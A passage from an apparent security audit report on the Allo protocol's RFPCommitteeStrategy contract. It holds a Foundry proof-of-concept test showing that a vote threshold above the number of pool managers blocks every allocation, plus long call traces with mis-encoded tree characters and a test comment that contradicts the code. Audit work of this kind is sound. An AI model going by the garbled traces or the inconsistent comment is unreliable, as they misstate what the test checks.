[0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 2, profileId: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, strategy: RFPCommitteeStrategy: [0x7672be0Ed39e876D054f2C8436E725486a5F52b7], token: 0x0000000000000000000000000000000000000000, amount: 0, metadata: (1, Create Pool Metadata))\n ā”‚ ā””ā”€ ā† 2\n ā”œā”€ [371] RFPCommitteeStrategy::getPoolId() [staticcall]\n ā”‚ ā””ā”€ ā† 2\n ā”œā”€ [0] VM::startPrank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [144662] Allo::registerRecipient(2, 0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000)\n ā”‚ ā”œā”€ [120058] RFPCommitteeStrategy::registerRecipient(0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000, profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”‚ ā”œā”€ [0] console::log(will not use) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ emit Registered(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], data: 0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000, sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”œā”€ [0] VM::startPrank(manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [52045] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [49539] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::startPrank(manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [30145] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [27639] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7]) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”‚ ā”œā”€ emit Voted(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], voter: manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [382] RFPCommitteeStrategy::acceptedRecipientId() [staticcall]\n ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.77ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n
\n\nTest When threshold is large value\n\n```Javascript\n function test_allocateWouldNeverWorkIfVotingThresholdIsMoreThanTheNumberOfManagers() public {\n // owners and members\n address manager1 = makeAddr(\"manager_1\");\n address manager2 = makeAddr(\"manager_2\");\n address manager3 = makeAddr(\"manager_3\");\n address manager4 = makeAddr(\"manager_4\");\n address profileOwner = makeAddr(\"profile_Ownerr\");\n address recipient = makeAddr(\"recipient__1\");\n\n address[] memory poolManagers = new address[](4);\n poolManagers[0] = manager1;\n poolManagers[1] = manager2;\n poolManagers[2] = manager3;\n poolManagers[3] = manager4;\n\n // creating profile for the pool owner\n vm.prank(profileOwner);\n bytes32 newProfileId = registry().createProfile(\n 0, \"New Pool 1\", Metadata({protocol: 1, pointer: \"Profile Metadata 1\"}), profileOwner, profile1_members()\n );\n\n // deploying the strategy\n vm.prank(profileOwner);\n RFPCommitteeStrategy testStrategy2 = new RFPCommitteeStrategy(address(allo()), \"committe strategy 2\");\n\n // setting voteTreshold to 50 (could be very big nubmer as well) that is more than the current number of managers\n // the voting threshould will never met and allocation will never happen\n bytes memory dataForInitialization = abi.encode(\n RFPCommitteeStrategy.InitializeParamsCommittee({\n voteThreshold: 50,\n params: RFPSimpleStrategy.InitializeParams({\n maxBid: 10 ether,\n useRegistryAnchor: false,\n metadataRequired: true\n })\n })\n );\n\n // profie owner creates pool\n // for simplicity, i have deployed the strategy with createPoolWithCustomStrategy() instead\n // of adding it to the cloneable strategies and then creating the pool with createPool()\n vm.startPrank(profileOwner);\n uint256 newPoolId = allo().createPoolWithCustomStrategy(\n newProfileId,\n address(testStrategy2),\n dataForInitialization,\n address(token),\n 0,\n Metadata({protocol: 1, pointer: \"Create Pool Metadata\"}),\n poolManagers\n );\n\n // deployed strategy should have correct pool id\n assertEq(testStrategy2.getPoolId(), newPoolId);\n\n // profile owner registers one recipient in the registry\n address recipientId = _register_recipient(newPoolId, testStrategy2, recipient, profileOwner);\n\n // data for allocate function\n bytes memory _data = abi.encode(recipientId, 10 ether, Metadata({protocol: 1, pointer: \"allocate metadata\"}));\n\n // calling allocate for each pool manager\n // proving that setting voting threshold to zero would not work as it would never reach\n // 0 because when allocate() is called it will add one vote to the called reciepientId\n // and the allocating condition will never met.\n for (uint256 i; i < poolManagers.length; i++) {\n vm.startPrank(poolManagers[i]);\n allo().allocate(newPoolId, _data);\n vm.stopPrank();\n }\n\n // will always be address 0\n assertEq(testStrategy2.acceptedRecipientId(), address(0));\n }\n```\n\n\n
\nOutput\n\n```bash\nTraces:\n [3981925] RFPCommitteeStrategyTest::test_allocateWouldNeverWorkIfVotingThresholdIsMoreThanTheNumberOfManagers() \n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca]\n ā”œā”€ [0] VM::label(manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca], manager_1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4]\n ā”œā”€ [0] VM::label(manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4], manager_2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3]\n ā”œā”€ [0] VM::label(manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3], manager_3)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7]\n ā”œā”€ [0] VM::label(manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7], manager_4)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”œā”€ [0] VM::label(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], profile_Ownerr)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† recipient__1: [0x4E3Ef4AaE30BB5a2a74db03a226B69b7BD709591]\n ā”œā”€ [0] VM::label(recipient__1: [0x4E3Ef4AaE30BB5a2a74db03a226B69b7BD709591], recipient__1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214]\n ā”œā”€ [0] VM::label(profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], profile1_member1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150]\n ā”œā”€ [0] VM::label(profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], profile1_member2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [522453] Registry::createProfile(0, New Pool 1, (1, Profile Metadata 1), profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], [0x32AA463a3F1fc42AbEAD98584E6A73826124B214, 0x1ed2CE7e57A08c9a31c35782c6016318f2B53150])\n ā”‚ ā”œā”€ [1617] ā†’ new @0xCCD3D4b306D5B3f98B48F5f4967e7C8412B87059\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266159] 0xCCD3D4b306D5B3f98B48F5f4967e7C8412B87059::60c06040(5234801561001057600080fd5b5060405161051438038061051483398101604081905261002f9161003b565b3360805260a052610054565b60006020828403121561004d57600080fd5b5051919050565b60805160a05161048f610085600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220ce97c29421aa3f96b075f54f4a6280bca1e9451421cba9f159f59de67de39bdb64736f6c63430008130033ff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766)\n ā”‚ ā”‚ ā”œā”€ [233889] ā†’ new Anchor@0x18dD573545b26D5e28a201558A928EDa9f9D059a\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† 1167 bytes of code\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, account: profile1_member1: [0x32AA463a3F1fc42AbEAD98584E6A73826124B214], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, account: profile1_member2: [0x1ed2CE7e57A08c9a31c35782c6016318f2B53150], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit ProfileCreated(profileId: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, nonce: 0, name: New \nPool 1, metadata: (1, Profile Metadata 1), owner: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], anchor: Anchor: [0x18dD573545b26D5e28a201558A928EDa9f9D059a])\n ā”‚ ā””ā”€ ā† 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766\n ā”œā”€ [0] VM::prank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [2642784] ā†’ new RFPCommitteeStrategy@0x7672be0Ed39e876D054f2C8436E725486a5F52b7\n ā”‚ ā””ā”€ ā† 13083 bytes of code\n ā”œā”€ [0] VM::startPrank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [448407] Allo::createPoolWithCustomStrategy(0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, RFPCommitteeStrategy: [0x7672be0Ed39e876D054f2C8436E725486a5F52b7], 0x00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000, 0, (1, Create Pool Metadata), [0x61C722f0d71e25368789deba8f085415F98204Ca, 0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4, 0xB4997929866Eb6E047D55e5628fbA650E2CE03f3, 0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7])\n ā”‚ ā”œā”€ [696] Registry::isOwnerOrMemberOfProfile(0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x64c8ab9e7070e09880fbe6c9b9d39ed69fc8010ea75c2c1265167c3b0850f87d, account: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000002, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0x64c8ab9e7070e09880fbe6c9b9d39ed69fc8010ea75c2c1265167c3b0850f87d)\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000002d53656e64696e6720257320746f2074686520737472617465677920666f7220696e697469616c697a6174696f6e00000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [139981] RFPCommitteeStrategy::initialize(2, 0x00000000000000000000000000000000000000000000000000000000000000320000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001)\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001e52504620636f6d6d697465653a3a20706f6f6c2069642073656e742025730000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000275246502073696d706c652073747261746567792073656e64696e6720706f6f6c49643a2025732000000000000000000000000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000186465706c6f79696e67207769746820706f6f6c49642025730000000000000000) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [0] console::f5b1bba9(0000000000000000000000000000000000000000000000000000000000000002) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ [420] Allo::getRegistry() [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† Registry: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]\n ā”‚ ā”‚ ā”œā”€ emit MaxBidIncreased(maxBid: 10000000000000000000 [1e19])\n ā”‚ ā”‚ ā”œā”€ emit PoolActive(active: true)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [371] RFPCommitteeStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 2\n ā”‚ ā”œā”€ [260] RFPCommitteeStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_2: [0xe1540cf8c1F7EC51DF9342C825EC2BF32154e4E4], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_3: [0xB4997929866Eb6E047D55e5628fbA650E2CE03f3], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000002, account: manager_4: [0xF7f74DF8f85A7F977000bc4dc17C168310d6b6a7], sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 2, profileId: 0xff9be382c111adf54d0a44d4b7cd18aad75bf50f1531914b1395290aeee23766, strategy: RFPCommitteeStrategy: [0x7672be0Ed39e876D054f2C8436E725486a5F52b7], token: 0x0000000000000000000000000000000000000000, amount: 0, metadata: (1, Create Pool Metadata))\n ā”‚ ā””ā”€ ā† 2\n ā”œā”€ [371] RFPCommitteeStrategy::getPoolId() [staticcall]\n ā”‚ ā””ā”€ ā† 2\n ā”œā”€ [0] VM::startPrank(profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [144662] Allo::registerRecipient(2, 0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000)\n ā”‚ ā”œā”€ [120058] RFPCommitteeStrategy::registerRecipient(0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000, profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”‚ ā”œā”€ [0] console::log(will not use) [staticcall]\n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”‚ ā”œā”€ emit Registered(recipientId: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65], data: 0x0000000000000000000000004e3ef4aae30bb5a2a74db03a226b69b7bd70959100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000086d65746164617461000000000000000000000000000000000000000000000000, sender: profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65])\n ā”‚ ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”‚ ā””ā”€ ā† profile_Ownerr: [0x5996D45bEBb95e48FEf4EeEf3D7ee4874160Fd65]\n ā”œā”€ [0] VM::startPrank(manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [52045] Allo::allocate(2, 0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000)\n ā”‚ ā”œā”€ [49539] RFPCommitteeStrategy::allocate(0x0000000000000000000000005996d45bebb95e48fef4eeef3d7ee4874160fd650000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000011616c6c6f63617465206d65746164617461000000000000000000000000000000, manager_1: [0x61C722f0d71e25368789deba8f085415F98204Ca])\n ā”‚ ā”‚ ā”œā”€ [999] Allo::isPoolManager(2, manager_1: 